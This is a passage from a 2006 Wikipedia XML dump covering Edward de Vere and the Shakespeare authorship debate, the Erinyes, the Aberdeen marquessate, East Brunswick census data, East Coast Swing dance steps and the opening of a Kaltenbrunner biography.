'''Edward de Vere, 17th Earl of Oxford''' ([[April 12]], [[1550]] &amp;ndash; [[June 24]], [[1604]]), Elizabethan literary figure, was born at [[Castle Hedingham]] to the [[John de Vere, 16th Earl of Oxford|16th Earl of Oxford]]. He is most famous today as the alleged author of the works of [[William Shakespeare]], a claim which a large majority of academic Shakespeare scholars reject but which is supported by such figures as [[Sigmund Freud]], diplomat and Presidential Medal of Freedom recipient [[Paul Nitze]], [[Supreme Court]] Justices [[Harry Blackmun]] and [[John Paul Stevens]], former British judge [[Christmas Humphreys]], biographer and historian [[David McCullough]], as well as actors [[Orson Welles]], [[John Gielgud|Sir John Gielgud]], [[Derek Jacobi|Sir Derek Jacobi]], [[Kenneth Branagh|Kenneth Branagh]], [[Michael York]], [[Jeremy Irons]], and [[Mark Rylance]] (former Artistic Director of the [[Globe Theatre]]). Amateur historians [[J. Thomas Looney]] and [[Charlton Ogburn]] authored two of the most seminal Oxford-as-Shakespeare studies.

During his lifetime de Vere was lauded by other English poets, mostly in regard to his patronage; see especially one of the introductory sonnets to [[Edmund Spenser]]'s ''[[Faerie Queene]]''.  As a poet himself, he wrote a small corpus of poems and songs, whose dates (and, in some cases, authorship) are uncertain; he signed nearly all of these &quot;Earle of Oxenforde&quot; or &quot;E of O&quot; [http://www.shakespeare-oxford.com/poemslny.htm].  His voluminous catalogue of letters are all similarly signed in his own name; none of them mention a dramatic career or literary matters, but focus on business affairs concerning such matters as the Cornish tin monopoly and his ongoing desire for several royal stewardships [http://socrates.berkeley.edu/~ahnelson/oxlets.html].  His status as a dramatist is indeed uncertain, as not a single play or line written under his name survives.  Nevertheless, [[Francis Meres]], in his discussion of dramatists in his ''[[Palladis Tamia]]'' lists Oxford among &quot;the best for comedy,&quot; albeit as an entirely separate person from Shakespeare himself, who appears further down the list due to his middle-class rank (Shakespeare held the title of &quot;gent.&quot;):

''so the best for comedy amongst us bee, '''Edward Earle of Oxenforde''', Doctor Gager of Oxforde, Maister Rowley once a rare Scholar of learned Pembroke Hall in Cambridge, Maister Edwardes one of her Majesty's Chapel, eloquent and witty John Lilly, Lodge, Gascoyne, Greene, '''Shakespeare''', Thomas Nash, Thomas Heywood, Anthony Munday our best plotter, Chapman, Porter, Wilson, Hathway, and Henry Chettle.''

Believers in the Oxford-as-Shakespeare hypothesis, or Oxfordians, maintain that a set of &quot;missing&quot; poems and plays from de Vere's adulthood were eventually published under the pseudonym William Shakespeare, both because of what they perceive as a great literary reputation and due to alleged political reasons that would necessitate such a pseudonym.

De Vere's father died in [[1562]], when de Vere was twelve years old, making him [[Earl of Oxford]] and [[Lord Great Chamberlain]] of England. As a minor, Oxford was made a royal ward and was placed in the household of [[William Cecil, 1st Baron Burghley|Lord Burghley]], the [[Lord High Treasurer]], a member of [[Elizabeth I of England|Queen Elizabeth I]]'s [[Privy Council of the United Kingdom|Privy Council]], and her closest and most trusted advisor. There Oxford was trained in such aristocratic pursuits as horse riding, combat, hunting, music, and dance, as well as [[French language|French]] and [[Latin]]. His known tutors included the classical scholar and diplomat Sir [[Thomas Smith]], and [[Laurence Nowell]], one of the founding fathers of [[Anglo-Saxon]] studies. Nowell was hired to tutor the young earl in 1563, the same year that Nowell signed his name on the only known copy of the &quot;[[Beowulf]]&quot; manuscript (a.k.a. the &quot;[[Nowell Codex]]&quot;). There is also speculation that Oxford was taught Latin by his maternal uncle, [[Arthur Golding]], who published the first English translation of [[Ovid]]'s ''[[Metamorphoses (poem)|Metamorphoses]]'' while living at Burghley House.

On [[23 July]] [[1567]], de Vere killed an unarmed under-cook by the name of Thomas Brincknell while practicing fencing with Edward Baynam, a merchant tailor, in the backyard of Cecil's house in the Strand. In the ensuing trial it was decided the victim had &quot;committed suicide&quot; and his widow and child were consequently stripped of their possessions.  (Interestingly, the English chronicler [[Raphael Holinshed]] was one of the jurors at this trial.)  Oxford is said to have obtained a bachelor's degree from [[Queens College, Cambridge]], a master's degree from the [[University of Oxford]], and legal training at [[Gray's Inn]].  However, he matriculated at Queen's College at the age of 8 1/2, but remained less than a year, and no evidence exists that he ever returned to a university as an active student; his degrees may have been honorary [http://socrates.berkeley.edu/~ahnelson/oxposit.html]. He entered the Royal Court in the late [[1560s]], and went on to become a tilting champion in several Elizabethan tournaments.

On [[19 December]] [[1571]] de Vere married Lord Burghley's fifteen-year-old daughter, Anne Cecil &amp;mdash; a controversial choice, not so much because they had grown up together, but because Oxford was of the oldest nobility in the kingdom, whereas Anne was parvenu, her father having only been raised to the peerage that year. At the age of twenty-one, Oxford regained control of most of his lands. His marriage produced five children, including three daughters who survived infancy. He toured [[France]], [[Holy Roman Empire|Germany]] and [[Italy]] in [[1575]], and was briefly [[Catholic]]. 

(It is of this period that [[John Aubrey]] wrote, in his ''Brief Lives'', that Edward &quot;[[fart|broke wind]]&quot; &quot;while making low obeisance&quot; to Queen Elizabeth and went into voluntary exile. On his return seven years later, it is alleged that the Queen's first words to him were &quot;My Lord, I had quite forgotten the fart.&quot;  The apocryphal story must be taken with a grain of salt, however, as Oxford was only on the Continent for fourteen months.) 

On his return across the [[English Channel]], Oxford's ship was hijacked by [[pirate]]s, who planned to hold him for [[ransom]] until he informed them of his royal connections. Furthermore, he found that his wife had given birth to a daughter during his journey, and separated from her on grounds of [[adultery]], complaining that she had become &quot;the fable of the world&quot;.  Confusing the eldest daughter (Elizabeth) with the youngest (Susan), [[Francis Osborne]] ([[1593]]-1659) included a bed-trick anecdote about her birth, or, as he termed it, “Pembrok’s ''Wives'' descent”, in his ''Historical Memoires on the Reigns of Queen Elizabeth and King James'' (1658).  According to Osborne (who had been a servant to the Herberts), Philip Herbert, then earl of Montgomery (and later Pembroke), was struck in the face by a Scottish courtier named Ramsey at a horse race at Croydon.  Herbert, who did not strike back, “was left nothing to testifie his Manhood but a Beard and Children, by that ''Daughter'' of the last great ''Earl of Oxford'', whose ''Lady'' was brought to his Bed under the notion of his ''Mistress'', and from such a vertuous deceit she [i.e., Pembroke’s wife] is said to proceed.”

In [[1580]], Oxford accused several of his Catholic friends of [[treason]], and denounced them to the Queen, asking mercy for his own Catholicism, which he repudiated. 

He fathered an illegitimate child by [[Anne Vavasour]], Sir [[Edward Vere]], in [[1581]], and was briefly imprisoned in the [[Tower of London]]. The illicit congress with Vavasour led to a prolonged quarrel with Sir [[Thomas Knyvett]], her uncle, which resulted in three deaths and several other injuries. Oxford himself was lamed in the encounter. The feud was put to an end when the Queen threatened to jail all those involved. By Christmas of 1581, Oxford had reconciled with Anne Cecil and once again cohabitated with her.

In [[1585]] Lord Oxford was given a military command in the [[Netherlands]], and served during the Battle of the [[Spanish Armada]] in [[1588]]. His first wife Anne Cecil died in 1588 at the age of 32. In [[1591]], Oxford married [[Elizabeth Trentham]], one of the Queen's Maids of Honour. This marriage produced his heir, Henry, the 18th Earl of Oxford. The Earl's three daughters, with whom it seems he was never close, all married into the [[peerage]]: Elizabeth married [[William Stanley, 6th Earl of Derby|Lord Derby]]; Bridget married [[Francis Norris, 1st Earl of Berkshire|Lord Berkshire]]; Susan married [[Philip Herbert, 5th Earl of Pembroke|Lord Montgomery]], one of the “INCOMPARABLE PAIRE OF BRETHREN” to whom [[William Shakespeare]]'s [[First Folio]] would later be dedicated.  (Oxford had died six months prior to this marriage, however; and a couplet regarding Susan recorded in John Manningham's diary circa 1602-03 has been interpreted by some to imply that Oxford was a &quot;deadbeat Dad&quot;[http://socrates.berkeley.edu/~ahnelson/oxdad.html], yet by others to be &quot;an echo of King Lear.&quot;[http://www.jmucci.com/ER/articles/lear.htm])

Oxford maintained both adult and children's theater companies, and was a patron of several writers; those who dedicated works to him include [[Edmund Spenser]], [[Arthur Golding]], [[Robert Greene]], [[John Hester]], [[John Brooke]], [[John Lyly]], [[Anthony Munday]], and [[Thomas Churchyard]]. His patronage (and mismanaged estates) reduced him to [[penury]], and he was granted an annual pension of £1,000 by the Queen, which continued to be paid by her successor, [[James I of England|King James I]].

In [[1603]], Lord Oxford was granted his decades-long suit for the Stewardship of [[Waltham Forest]] and [[Havering-atte-Bower]], but enjoyed the privilege for less than a year.  He died in [[1604]] of unknown causes at [[King's Hold]], [[Hackney]], [[Middlesex]], England, and was apparently buried at Hackney, although his cousin, Percival Golding (son of [[Arthur Golding]]), reported a few years later that he was buried at Westminster Abbey.

==Shakespeare controversy==

In [[1920]], [[J. Thomas Looney]] advanced the hypothesis that Oxford was the actual author of Shakespeare's plays, due to what Looney perceived as an advanced education, a knowledge of aristocratic life, an interest in the theatre, the praise accorded Oxford's works, and various similarities between Oxford's life and the plays. According to his hypothesis, Oxford had no choice but to publish under a pseudonym, since it would have been considered disgraceful for an aristocrat to be writing for the public theater, a claim generally considered by [[Renaissance]] scholars, including [[Steven W. May]], to be incongruous with Elizabethan print histories. [http://shakespeareauthorship.com/stigma.html]  Author Diana Price has presented a counter-point to May’s thesis. [http://www.shakespeare-authorship.com/resources/stigma.asp]

Looney's beliefs constitute the core of the [[Oxfordian theory]] of [[Shakespearean authorship]], and the debate over it remains contentious. Evidentiary gaps within and problems with the Oxfordian hypothesis have prevented many academics from considering its viability.  For example, Oxford's [[1604]] death prevents him from witnessing certain events (e.g., [[the Gunpowder Plot]] of [[1605]] and the wreck of the [[Sea Venture]] in [[Bermuda]] in [[1609]]) thought to be alluded to in Shakespearean dramas such as ''[[Macbeth]]'' and ''[[The Tempest]]'', respectively.  Contemporary poetic tributes to Shakespeare from writers such as [[Ben Jonson]] and [[Leonard Digges]] (who refer to Shakespeare as &quot;''Sweet swan of'' Avon!&quot; and mention his &quot;Stratford ''Moniment''&quot; in the [[First Folio]]), and [[William Basse]] (who explicitly mentions Shakespeare dying in [[1616]]), seem to provide some of the clearest evidence for the Stratford Shakespeare's status as a reputed poet.  

On the other hand, the publication of SHAKE-SPEARES SONNETS in [[1609]], with its dedicatory expression &quot;OVR.EVER-LIVING.POET.&quot;, would seem to imply the author was dead by that time.  Although some scholars (such as [[Donald Foster]]) have disputed the meaning of this phrase, when applied to a person rather than a deity, &quot;ever-living&quot; was usually understood to mean that person was deceased.  Nevertheless, it remains debatable whether the phrase, in this context, refers to Shakespeare, the dedicatee, or to God or a muse; the &quot;Mr. W.H.&quot; in the dedication is indeed a controversial point.  

Other candidates who have been put forward as the actual author of the Shakespeare works include [[Francis Bacon (philosopher)|Francis Bacon]], [[Christopher Marlowe]], and [[William Stanley]], 6th [[earl of Derby]], among others, all of whom are universally rejected by the academic establishment.  Further insights and debating points from the Stratfordian perspective may be viewed at The Shakespeare Authorship website [http://shakespeareauthorship.com/] and from the Oxfordian perspective at The Shakespeare Fellowship website [http://www.shakespearefellowship.org/virtualclassroom/State%20of%20the%20Debate.htm].


{{start box}}
{{succession box | title=[[Lord Great Chamberlain]] | before=[[John de Vere, 16th Earl of Oxford|The Earl of Oxford]] | after=[[Henry de Vere, 18th Earl of Oxford|The Earl of Oxford]] | years=1562&amp;ndash;1604}}

{{succession box | title=[[Earl of Oxford]] | before=[[John de Vere, 16th Earl of Oxford|John de Vere]] | after=[[Henry de Vere, 18th Earl of Oxford|Henry de Vere]] | years= }}
{{end box}}

[[Category:1550 births|Oxford, Edward de Vere, 17th Earl of]]
[[Category:1604 deaths|Oxford, Edward de Vere, 17th Earl of]]
[[Category:English poets|Oxford, Edward de Vere, 17th Earl of]]
[[Category:Lord Great Chamberlains|Oxford, Edward de Vere, 17th Earl of]]
[[Category:Earls of Oxford|Vere de, Edward 17th Earl of Oxford]]

[[de:Edward De Vere]]
[[id:Edward de Vere]]</text>
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  <page>
    <title>Erinyes</title>
    <id>10141</id>
    <revision>
      <id>42121565</id>
      <timestamp>2006-03-03T23:34:53Z</timestamp>
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      <minor />
      <comment>Disambiguate [[Nemesis]] to [[Nemesis (mythology)]] using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">{{Greek myth (earth)}}
In [[Greek mythology]] the '''Erinyes''' or '''Eumenides''' (the [[Rome|Romans]] called them the '''Furies''') were female personifications of [[vengeance]]. When a formulaic oath in the ''[[Iliad]]'' (iii.278ff; xix.260ff) invokes &quot;those who beneath the earth punish whoever has sworn a false oath&quot;&amp;mdash;&quot;the Erinyes are simply an embodiment of the act of self-cursing contained in the oath&quot; (Burkert 1985 p 198). They were usually said to have been born from the blood of [[Uranus (mythology)|Uranus]] when [[Cronus]] castrated him. According to a variant account, they issued from an even more primordial level&amp;mdash;from [[Nyx]], &quot;Night&quot;. Their number is usually left indeterminate, though [[Virgil]], probably working from an [[Alexandria]]n source, recognized three: Alecto (&quot;unceasing&quot;), Megaera (&quot;grudging&quot;), and Tisiphone (&quot;avenging murder&quot;). The heads of the Erinyes were wreathed with serpents (compare [[Gorgon]]), their eyes dripped with blood, and their whole appearance was horrific and appalling.  Sometimes they had the wings of a bat or bird, or the body of a dog.

[[Image:Deux furies.png|thumb|left|200px|Two Furies, from an ancient vase.]]

The Erinyes generally stood for the rightness of things within the standard order; for example, [[Heraclitus]] declared that if [[Helios]] decided to change the course of the [[Sun]] through the sky, they would prevent him from doing so. But for the most part they were understood as the persecutors of mortal men and women  who broke &quot;natural&quot; laws. In particular, those who broke ties of kinship through patricide, murdering a brother (Fratricide), or other such familial killings brought special attention from the Erinyes. It was believed in early epochs that human beings might not have the right to punish such crimes, instead leaving the matter to the dead man's Erinyes to exact retribution. 

The Erinyes were connected with [[Nemesis (mythology)|Nemesis]] as enforcers of a just balance in human affairs. The goddess [[Nike (mythology)| Nike]] originally filled a similar role, as the bringer of a ''just'' victory. When not stalking victims on Earth, the Furies were thought to dwell in [[Tartarus]], where they applied their tortures to the damned souls there.

The Erinyes are particularly known for the [[The_Oresteia#The_Eumenides|persecution of Orestes for the murder of his mother]], [[Clytemnestra]].  Since [[Apollo]] had told [[Orestes (mythology)|Orestes]] to kill the murderer of his father, [[Agamemnon]], and that person turned out to be his mother, Orestes prayed to him.  Athena intervened and the Erinyes turned into the ''Eumenides'' (&quot;goodly ones&quot;), as they always did in their beneficial aspects.

Many scholars believe that when they were originally referred to as the Eumenides it was not to reference their good sides but as a [[euphemism]] to avoid their wrath that would ensue from calling them by their true name. This  [[taboo]] on speaking the names of certain uncanny spirits included [[Persephone]]; there are parallels in many cultures. The Erinyes might also be recognized  as ''Semnai'' (&quot;the venerable ones&quot;), the ''Potniae'' (&quot;the Awful Ones&quot;), the ''Maniae'' (&quot;the Madnesses&quot;) and the ''Praxidikae'' (&quot;the Vengeful Ones&quot;).&lt;!--these unfocused translations could be bettered--&gt;

One myth had [[Tisiphone]] fall in love with [[Cithaeron]].  She caused his death by snakebite, specifically, one of the snakes from her head. Another myth says that the Erinyes struck the magical horse Xanthus dumb for rebuking Achilles.

The Furies (their [[Roman mythology|Roman name]]) or ''Dirae'' (&quot;the terrible&quot;) typically had the effect of driving their victims insane, hence their [[Latin]] name ''furor''.

== Erinyes in later culture ==
In ''[[The Divine Comedy]]'' Dante sees the Erinyes at the gates of the city of Dis, which is the entry point to the four lower circles of Hell.

[[Leconte de Lisle]]'s tragedy &quot;Les Érinnyes&quot; (1872), with accompanying music composed by [[Massenet]].

[[Jean-Paul Sartre]]'s 1943 play ''The Flies'' (''Les Mouches'') uses a retelling of the ''[[Oresteia]]'' (with the titular Flies being the Furies) in a modern perspective against religion [http://www.geocities.com/Athens/Academy/6422/rev0008.html].

== Erinyes in popular culture ==

There is an [[A Perfect Circle]] song, entitled &quot;Orestes,&quot; that refers to the Erinyes.

The Furies are invoked by [[Fury (DC Comics)|Hippolyta Hall]] in the ninth collection of the [[DC Comics|DC]] [[comic book]] series ''[[The_Sandman_(DC_Comics_Modern_Age)|The Sandman]]'', ''[[The Sandman: The Kindly Ones|The Kindly Ones]]'' (which is also named for a translation of a name used for the Furies, ''Eumenides''), because she mistakenly believes that [[Dream (DC Comics)|Dream]] had kidnapped and murdered her child. Officially, the Furies are able to target Dream because he had recently killed his son [[Orpheus]], and the Furies may take revenge on anyone who has shed family blood.

In [[Wildstorm]]'s [[The Authority]] &quot;Human on the Inside&quot;, the Furies show up at the request of Dr Ledbedder to initiate the destruction of the Authority. They claim to punish all who believe themselves good (that is: have superpowers).

Erinyes have been adapted in the TV series ''[[Charmed]].'' They were portrayed as dog-faced women from Hell. They were called Furies and attacked human sinners with deadly smoke.

In the [[science fiction]] novel ''Path of the Fury'' by [[David Weber]], Tisiphone, having died when the worship of Greek gods ceased, reappears in the far future. She finds a powerful mind that has suffered a great wrong, and embarks upon a path of destruction to correct it. This involves stealing a powerful starship and wreaking havoc on an interstellar scale.

In the eponymous track of his first album, [[Rob Dougan]] calls them ''[[Furious Angels]]'' and poetically imagines that his love for a woman is so strong that, should she leave him, &quot;furious angels will bring you back to me&quot;.

In [[Stephen King]]'s novel ''[[Rose Madder (novel)|Rose Madder]]'', Erinyes is an angry, blind bull that lives in a maze within a painting.

In [[Robert Weinberg]]'s sorcery-meets-modern-society novel ''[[A Calculated Magic]]'', the Erinyes (referred to only as ''The Kindly Ones'', the ''Furies'', and the ''Eumenides'') are regularly hired by a [[KGB]] operative to assassinate his targets for him.

In [[Dungeons &amp; Dragons]], [http://www.systemreferencedocuments.org/35/sovelior_sage/monstersDtoDe.html#erinyes-devil erinyes] are a kind of [[baatezu]] fiend charged with the temptation of mortals into evil deeds and service to the Nine Hells of [[Baator]].

Xena suffered a similar persecution to Orestes at the hand of three Furies in the third season opener of ''[[Xena: Warrior Princess]]''.

In [[Terry Brooks]]' [[The Elfstones of Shannara]], mystic [[Druid]] [[Allanon]] battles Furies and the Dagda Mor in his escape from the Druid Keep, Paranor.

Erinyes appeared in Castlevania [[Dawn of Sorrow]] and [[Aria of Sorrow]] as well, as an enemy monster with the
name &quot;Erinys&quot;.

The MMORPG [[Redmoon]] has a set of unique armor pieces called the &quot;Erinyes Set&quot;. The set consist of a helmet, an armor plate, an armored pair of pants and a shield. Individually, they would increase a character's attack and defense by a various percentage, but if all were equipped, they would provide an additional bonus.

&quot;[[Minor_Dark_wizards_in_Harry_Potter#Alecto_and_Amycus|Alecto]]&quot; is the name of a particularly vicious [[witch]] in the [[Harry Potter]] series.

In the computer game Freespace 2 the Erinyes form a class of assault fighter.

==See also==
{{Commonscat|Erinyes}}
*[[Nemesis (mythology)]]
*[[Karma]]
*[[Psychological trauma]]
*[[Post Traumatic Stress Disorder]]
*[[Lilith]]

==References==
*''[[Iliad]]'' xiv.274-9; xix.259f.
*[[Virgil]], ''[[Aeneid]]'' vii, 324, 341, 415, 476.
*[[Walter Burkert|Burkert, Walter]], 1977 (tr. 1985). ''Greek  Religion'' (Harvard University Press)

[[Category:Greek goddesses]]
[[Category:Vengeance goddesses]]

[[bg:Еринии]]
[[de:Erinyen]]
[[es:Erinias]]
[[fr:Érinyes]]
[[it:Erinni]]
[[ka:ერინიები]]
[[lt:Erinijos]]
[[lb:Erinyen]]
[[nl:Erinyen]]
[[ja:エリニュス]]
[[pl:Erynie]]
[[ro:Furia]]
[[ru:Эринии]]
[[sv:Erinyer]]</text>
    </revision>
  </page>
  <page>
    <title>Marquess of Aberdeen and Temair</title>
    <id>10142</id>
    <revision>
      <id>36323199</id>
      <timestamp>2006-01-23T05:53:38Z</timestamp>
      <contributor>
        <username>John Kenney</username>
        <id>10512</id>
      </contributor>
      <comment>/* Marquesses of Aberdeen and Temair ([[1916]]) */</comment>
      <text xml:space="preserve">'''Marquess of Aberdeen and Temair''' is a title in the [[Peerage of the United Kingdom]]. The other titles held by the Marquess are: ''Earl of Aberdeen'' (created 1682), ''Earl of Haddo'' (1916), ''Viscount of Formartine'' (1682), ''Viscount Gordon'' (1814) and ''Lord Haddo, Methlic, Tarves and Kellie'' (1682). The title ''Earl of Haddo'' is the [[courtesy title]] for the Marquess's eldest son and heir, the eldest son of whom has the [[courtesy title]] ''Viscount Formartine''.

The family seat is [[Haddo House]], [[Aberdeenshire (traditional)|Aberdeenshire]].

==Earls of Aberdeen ([[1682]])==
* [[George Gordon, 1st Earl of Aberdeen]] ([[1637]]-[[1720]])
* [[William Gordon, 2nd Earl of Aberdeen]] (c. [[1679]]-[[1745]])
* [[George Gordon, 3rd Earl of Aberdeen]] ([[1722]]-[[1801]])
* [[George Hamilton-Gordon, 4th Earl of Aberdeen]] ([[1784]]-[[1860]])
* [[George Hamilton-Gordon, 5th Earl of Aberdeen]] ([[1816]]-[[1864]])
* [[George Hamilton-Gordon, 6th Earl of Aberdeen]] ([[1841]]-[[1870]])
* [[John Hamilton-Gordon, 1st Marquess of Aberdeen and Temair|John Campbell Hamilton-Gordon, 7th Earl of Aberdeen]] ([[1847]]-[[1934]]) (became Marquess of Aberdeen and Temair in 1916)

==Marquesses of Aberdeen and Temair ([[1916]])==
* [[John Hamilton-Gordon, 1st Marquess of Aberdeen and Temair|John Campbell Gordon, 1st Marquess of Aberdeen and Temair]] ([[1847]]-[[1934]])
* [[George Gordon, 2nd Marquess of Aberdeen and Temair]] ([[1879]]-[[1965]])
* [[Dudley Gordon, 3rd Marquess of Aberdeen and Temair|Dudley Gladstone Gordon, 3rd Marquess of Aberdeen and Temair]] ([[1883]]-[[1972]])
* [[David Gordon, 4th Marquess of Aberdeen and Temair|David George Ian Alexander Gordon, 4th Marquess of Aberdeen and Temair]] ([[1908]]-[[1974]])
* [[Archibald Gordon, 5th Marquess of Aberdeen and Temair|Archibald Victor Dudley Gordon, 5th Marquess of Aberdeen and Temair]] ([[1913]]-[[1984]])
* [[Alistair Gordon, 6th Marquess of Aberdeen and Temair|Alistair Ninian John Gordon, 6th Marquess of Aberdeen and Temair]] ([[1920]]-[[2002]])
* [[Alexander Gordon, 7th Marquess of Aberdeen and Temair|Alexander George Gordon, 7th Marquess of Aberdeen and Temair]] (b. [[1955]])

his son and heir: [[George Gordon, Earl of Haddo|George Ian Alastair Gordon, Earl of Haddo]] (b. [[May 4]] [[1983]])

[[Category:Marquessates|Aberdeen and Temair]]</text>
    </revision>
  </page>
  <page>
    <title>East Brunswick</title>
    <id>10143</id>
    <revision>
      <id>29424424</id>
      <timestamp>2005-11-27T23:22:38Z</timestamp>
      <contributor>
        <username>Alansohn</username>
        <id>118722</id>
      </contributor>
      <comment>link to [[East BrunswickTownship, New Jersey]], not CDP [[East Brunswick, New Jersey]]</comment>
      <text xml:space="preserve">#REDIRECT [[East Brunswick Township, New Jersey]]</text>
    </revision>
  </page>
  <page>
    <title>East Brunswick, New Jersey</title>
    <id>10144</id>
    <revision>
      <id>29424295</id>
      <timestamp>2005-11-27T23:21:25Z</timestamp>
      <contributor>
        <username>Alansohn</username>
        <id>118722</id>
      </contributor>
      <comment>CDP [[East Brunswick, New Jersey]] oberlaps with [[East BrunswickTownship, New Jersey]]</comment>
      <text xml:space="preserve">'''East Brunswick''' is a [[census-designated place]] located in [[Middlesex County, New Jersey|Middlesex County]], [[New Jersey]].  As of the [[United States 2000 Census]], the CDP had a total population of 46,756.  

The East Brunswick CDP overlaps in its entirety with [[East Brunswick Township, New Jersey|East Brunswick Township]].

== Geography ==
East Brunswick is located at 40&amp;deg;26'3&quot; North, 74&amp;deg;24'18&quot; West (40.434239, -74.405040){{GR|1}}.

According to the [[United States Census Bureau]], the township has a total area of 58.0 [[square kilometre|km&amp;sup2;]] (22.4 [[square mile|mi&amp;sup2;]]).  56.9 km&amp;sup2; (22.0 mi&amp;sup2;) of it is land and 1.1 km&amp;sup2; (0.4 mi&amp;sup2;) of it is water.  The total area is 1.92% water.

== Demographics ==
As of the [[census]]{{GR|2}} of [[2000]], there are 46,756 people, 16,372 households, and 13,081 families residing in the CDP.  The [[population density]] is 822.4/km&amp;sup2; (2,129.7/mi&amp;sup2;).  There are 16,640 housing units at an average density of 292.7/km&amp;sup2; (758.0/mi&amp;sup2;).  The racial makeup of the CDP is 77.56% [[White (U.S. Census)|White]], 2.83% [[African American (U.S. Census)|Black]] or [[Race (U.S. Census)|African American]], 0.09% [[Native American (U.S. Census)|Native American]], 16.27% [[Asian (U.S. Census)|Asian]], 0.01% [[Pacific Islander (U.S. Census)|Pacific Islander]], 1.12% from [[Race (U.S. Census)|other races]], and 2.12% from two or more races.  4.19% of the population are [[Hispanic American|Hispanic]] or [[Latino (U.S. Census)|Latino]] of any race.

There are 16,372 households out of which 40.5% have children under the age of 18 living with them, 68.6% are [[Marriage|married couples]] living together, 8.5% have a female householder with no husband present, and 20.1% are non-families. 17.2% of all households are made up of individuals and 7.0% have someone living alone who is 65 years of age or older.  The average household size is 2.84 and the average family size is 3.23.

In the CDP the population is spread out with 26.0% under the age of 18, 6.2% from 18 to 24, 29.3% from 25 to 44, 26.9% from 45 to 64, and 11.6% who are 65 years of age or older.  The median age is 39 years.  For every 100 females there are 94.3 males.  For every 100 females age 18 and over, there are 90.1 males.

The median income for a household in the CDP is $90,956, and the median income for a family is $86,863. Males have a median income of $75,790 versus $58,534 for females. The [[per capita income]] for the township is $72,286.  2.8% of the population and 2.1% of families are below the [[poverty line]].  Out of the total population, 2.1% of those under the age of 18 and 4.4% of those 65 and older are living below the poverty line.

== External links ==
*[http://www.eastbrunswick.com/ East Brunswick website]
*[http://www.ebpl.org/ East Brunswick Public Library]
*[http://www.eastbrunswick.org/abouttown/history.asp East Brunswick History]
*[http://www.ebnet.org/ East Brunswick Public Schools]
*[http://www.ebdirectory.com/ East Brunswick Directory]
{{Mapit-US-cityscale|40.434239|-74.40504}}

[[de:East Brunswick]]

[[Category:Middlesex County, New Jersey]]
[[Category:Census-designated places in New Jersey]]</text>
    </revision>
  </page>
  <page>
    <title>East Coast Swing</title>
    <id>10147</id>
    <revision>
      <id>41295897</id>
      <timestamp>2006-02-26T10:03:38Z</timestamp>
      <contributor>
        <username>Poseidon^3</username>
        <id>144758</id>
      </contributor>
      <comment>/* Steps */</comment>
      <text xml:space="preserve">{{cleanup-date|July 2005}}

'''East Coast Swing''' ('''ECS''') is a [[partner dance]] derived from the [[Lindy Hop]]. The basic step is triple step, triple step, and a rock step. East Coast Swing (6 count) is intermixable with most forms of [[swing dancing]], though primarily with the Lindy Hop. 

== Steps ==

*''Basic Closed:'' In closed position, simply remain in the same position while doing footwork.
*''Basic Open:'' In open position, remain in the same position while doing footwork.
*''She Goes:'' In open position, leader raises left hand and follower spins under.  (Left Inside Turn)
*''He Goes:'' In open position, leader raises left hand and leader spins under. (Leader Left Outside Turn)
*''She Goes, He Goes:'' In open position, leader raises left hand and follower spins under, then leader spins under. (Left Inside Turn followed by Leader Left Outside Turn)
*''Tuck Turn:'' The leader gives a small nudge and raises left hand, and the follower goes under. (Left Outside Turn)
*''Throw Out:'' After closed position rock step, leader gives small right forearm nudge, and follower goes to open position.
*''Return to Close:'' In open position, the leader gives a small pull and the follower comes into closed position.
*''Cuddle:'' Same step as ''She Goes'', except the leader does not let go of the right hand.  The leader and follower end up side-by-side in a cuddle position.
*''Waist slide:'' In open position, leader raises right hand, and turns to his left, putting his right arm and his partners left arm over his head and in front of him while turning.  He lets go with his left hand, continues to turn while maintaining the hold with his right hand, ends up facing his partner again, and regrips follow's right hand with his left.

== Footwork ==

Footwork can have many different forms:

* ''Single Step:'' Rock-step, step-hold, step-hold.
* ''Double Step:'' Rock-step, kick-step, kick-step; or rock-step, tap-step, tap-step.
* ''Triple Step:'' Rock-step, triple-step, triple-step.
* ''Holds:'' Rock step, hold-hold, hold-hold.

These forms can be mixed and matched, for example: Rock-step, triple-step, kick, hold.

The reasons to choose different footwork are as follows.

* ''Learning:'' Beginning dancers can do simple steps easily, but they may struggle with more complex footwork.  Advanced dancers may enjoy more complex footwork.
* ''Tempo:'' Simpler footwork, such as steps and holds, are easier to do to fast music. Complex footwork makes slow music more interesting.
* ''Musicality:'' If the music has very simple rhythm, such as one beat per beat, then kick steps work well. If the music has a more complex rhythm, such as two beats per beat, then triple steps work well. If the music pauses (breaks) then holds work well.
* ''Variety:'' It is nice to vary the dance form, so if you use one kind of footwork for a while, you might want to try another form for a while.

==See also==

[[:category:Swing dance moves]].

[[Category:Swing dances]]
[[Category:East Coast Swing]]</text>
    </revision>
  </page>
  <page>
    <title>Ernst Kaltenbrunner</title>
    <id>10148</id>
    <revision>
      <id>41853894</id>
      <timestamp>2006-03-02T04:02:36Z</timestamp>
      <contributor>
        <username>Jack Cox</username>
        <id>194464</id>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">[[Image:Kaltenbrunner.jpg|right|thumb|200px|SS-Obergruppenführer Dr. Ernst Kaltenbrunner]]
'''Ernst Kaltenbrunner''' ([[October 4]], [[1903]] &amp;ndash; [[October 16]], [[1946]]) was a senior [[Nazi]] official during [[World War II]].

==Early Life==
Born in [[Ried im Innkreis]], [[Austria]], he was the son of a lawyer. Educated at the State Realgymnasium in [[Linz]] and Graz University. He obtained a law degree in [[1926]]. He worked as a lawyer briefly in Linz and [[Salzburg (city)|Salzburg]] and from [[1928]] in Linz. He was a huge man, standing just over 6'6 tall.

Kaltenbrunner joined the [[Nazi Party]] and the [[Schutzstaffel|SS]] in Austria in [[1932]]. He was the ''Gauredner'' (district speaker) and ''Rechtsberater'' (legal consultant) of the SS division VIII. In January 1934 Kaltenbrunner was briefly jailed by the [[Engelbert Dollfuss]] government with other National Socialists at the [[Kaisersteinbruch concentration camp]]. In 1934 he was jailed again on suspicion of High Treason in the assassination of Dollfuss. This accusation was dropped, but he was sentenced to six months for conspiracy.

==Kaltenbrunner rises to a major Nazi figure==
